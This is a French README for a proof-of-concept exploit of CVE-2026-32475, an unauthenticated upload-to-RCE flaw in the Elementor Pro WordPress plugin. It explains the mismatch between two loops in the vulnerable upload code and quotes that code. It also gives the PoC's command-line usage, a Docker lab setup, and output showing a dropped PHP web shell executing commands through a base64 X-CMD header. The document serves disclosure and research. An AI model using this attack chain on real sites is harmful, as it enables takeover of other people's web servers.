
PoC pour CVE-2026-32475 : Elementor Pro <=4.2.1 téléversement de fichier non authentifié menant à une exécution de code à distance (RCE). Python uniquement avec la bibliothèque standard.
Preuve de concept pour CVE-2026-32475 (CVSS 9.0) : une vulnérabilité de téléversement de fichier arbitraire non authentifié dans le plugin WordPress Elementor Pro (≤ 4.2.1) qui conduit à une exécution de code à distance.
| CVE | CVE-2026-32475 |
| CVSS | 9.0 Critique |
| CWE | CWE-434 (Téléversement sans restriction de fichier de type dangereux) |
| Authentification requise | Aucune |
| Versions concernées | Elementor Pro ≤ 4.2.1 |
| Corrigé dans | Elementor Pro 4.2.2 (2026-08-19) |
| Signaleur | Tin Pham (TF1T), via le programme Bug Bounty de Patchstack |
Visiteur non authentifié
│
▼
Page de formulaire Elementor (champ Téléversement de fichier)
│
▼
POST multipart/form-data → admin-ajax.php
│
├── partie #1 : fichier vide
│ └─► validation() : UPLOAD_ERR_NO_FILE → return ◄── la validation s'ARRÊTE ici
│
└── partie #2 : shell.php
└─► jamais vérifié pour le type
│
▼
process_field() : continue → déplace le payload .php quand même
│
▼
wp-content/uploads/elementor/forms/<uniqid>.php
│
▼
GET cette URL ⇒ RCE
Le module Forms traite chaque entrée téléversée en deux passes distinctes avec des sémantiques de boucle différentes :
validation() process_field()
──────────── ──────────────
foreach files as file: foreach files as file:
if empty(file): if empty(file):
add_error(...) continue ◄─ ignore uniquement cette entrée
return move_uploaded_file(...) ◄─ déplace le reste
validation() s'arrête à la première entrée dont l'erreur est UPLOAD_ERR_NO_FILE, donc
l'entrée .php qui suit n'est jamais vérifiée pour son type. process_field() ignore
simplement cette entrée vide et déplace quand même toutes les suivantes dans le répertoire
public des téléversements. Le validateur signale un échec pendant que le déplaceur continue —
la désynchronisation entre les deux boucles est la vulnérabilité.
Code vulnérable (modules/forms/fields/upload.php, ≤ 4.2.1) :
// validation()
if ( ! $field['required'] && UPLOAD_ERR_NO_FILE === $file['error'] ) {
return; // ← interrompt toute la boucle
}
// process_field()
if ( UPLOAD_ERR_NO_FILE === $file['error'] ) {
continue; // ← ignore uniquement cette entrée
}
...
$file_extension = pathinfo( $file['name'], PATHINFO_EXTENSION );
$filename = uniqid() . '.' . $file_extension; // l'extension contrôlée par l'attaquant survit
move_uploaded_file( $file['tmp_name'], $new_file );
Le correctif dans 4.2.2 aligne les deux boucles — l'entrée vide ne met plus fin à la
validation prématurément, donc l'entrée .php est vérifiée pour son type et rejetée.
post_id, form_id et l'identifiant du champ de téléversement.admin-ajax.php
(action=elementor_pro_forms_send_form).<uniqid> du nom de fichier
(voir analysis.md pour le mappage complet uniqid → nom de fichier).Le shell lit sa commande depuis un en-tête de requête X-CMD (décodé en base64) au lieu d'un
paramètre de chaîne de requête/POST. Cela sert uniquement à garder le transport des commandes
séparé des paramètres du formulaire et hors des chaînes de requête typiques des journaux d'accès —
cela n'a aucun rapport avec la vulnérabilité elle-même.
python3 el_rce_poc.py --url http://CIBLE \
--page-url http://CIBLE/formulaire-televersement/ \
--command "id; hostname; uname -a"
Uniquement la bibliothèque standard Python 3. Options de réglage :
| Option | Défaut | Signification |
|---|---|---|
--probe-seconds | 0.05 | fenêtre en microsecondes uniqid à balayer (secondes) |
--step-us | 2000 | microsecondes entre les sondes |
--workers | 24 | threads de sondes concurrents |
--field-id | auto | défini manuellement si la découverte automatique du champ de téléversement échoue |
Remarque sur les cibles lentes : la phase de sondage peut être lourde pour la cible (des
milliers de requêtes). Sur les petits appareils hébergeant à la fois la cible et l'attaquant,
le serveur web peut abandonner les soumissions concurrentes — exécutez avec --probe-seconds 0
pour prouver uniquement la primitive de téléversement arbitraire, puis localisez et vérifiez
le .php déposé sous wp-content/uploads/elementor/forms/ directement sur la cible.
Le PoC sépare deux jalons indépendants :
Primitive de téléversement arbitraire → RÉUSSI / ÉCHEC
Récupération du nom de fichier (uniqid) → RÉUSSI / PARTIEL
Confirmation RCE → RÉUSSI (les deux ci-dessus ont réussi)
Le code de sortie 0 signifie confirmation RCE complète. Le code de sortie 2 signifie que
la primitive de téléversement a été prouvée mais que le nom de fichier n'a pas pu être deviné
dans la fenêtre (vérifiez manuellement le .php déposé sous wp-content/uploads/elementor/forms/).
Voir docker-compose.yml. Étapes complètes :
# 1) démarrer WordPress + MariaDB
docker compose up -d
# attendre ~30s pour la base de données, puis installer WordPress
docker compose run --rm wpcli wp core install \
--url=http://localhost:8090 --title="Lab" --skip-email \
--admin_user=admin --admin_password=admin123! [email protected]
# 2) installer Elementor gratuit
docker compose run --rm wpcli wp plugin install elementor --activate
# 3) installer Elementor Pro vulnérable (<= 4.2.1).
# Elementor Pro est un plugin payant — placez votre elementor-pro.zip
# obtenu légalement (ex. 4.2.1) à côté de docker-compose.yml d'abord :
docker compose run --rm wpcli wp plugin activate elementor-pro \
|| docker compose exec wordpress bash -c \
"cd wp-content/plugins && unzip -o /var/www/html/epr.zip"
# 4) créer la page du formulaire (le dépôt du PoC fournit setup_form_page.php) :
docker cp setup_form_page.php wp-lab:/tmp/setup.php
docker compose exec wordpress php -r 'require "/var/www/html/wp-load.php"; include "/tmp/setup.php";'
# 5) exécuter le PoC
python3 el_rce_poc.py --url http://localhost:8090 --page-url "http://localhost:8090/?page_id=<ID>"
Primitive de téléversement confirmée — payload déposé sous <uniqid>.php :
$ ls wp-content/uploads/elementor/forms/
6a8cebf002529.php
RCE confirmée en demandant le shell déposé :
$ curl http://localhost:8090/wp-content/uploads/elementor/forms/<uniqid>.php \
-H "X-CMD: $(echo 'id && hostname' | base64)"
POC-RCE-OK
uid=33(www-data) gid=33(www-data) groups=33(www-data)
26564238432c
Mettez à jour Elementor Pro vers 4.2.2+. En attendant, retirez les champs Téléversement de fichier des formulaires publics ou restreignez la soumission des formulaires par une règle WAF.
Pour la recherche en sécurité autorisée et l'utilisation en laboratoire uniquement.